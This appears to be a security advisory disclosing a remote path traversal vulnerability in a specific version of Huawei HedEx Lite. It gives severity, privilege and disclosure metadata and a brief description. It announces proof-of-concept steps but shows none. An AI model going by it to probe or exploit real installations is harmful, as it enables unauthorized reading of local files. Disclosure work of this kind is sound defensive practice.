Vulnerability Disclosure Timeline: ================================== 2020-11-24: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= No User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ An exploitable path traversal vulnerability has been discovered in the official Huawei HedEx Lite v200R006C00SPC005. Attackers can able to request local files or resources by remote requesting to unauthorized change a local path. Proof of Concept (PoC): ======================= The path traversal vulnerability can be exploited by remote attackers with restricted system user privileges wihtout user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
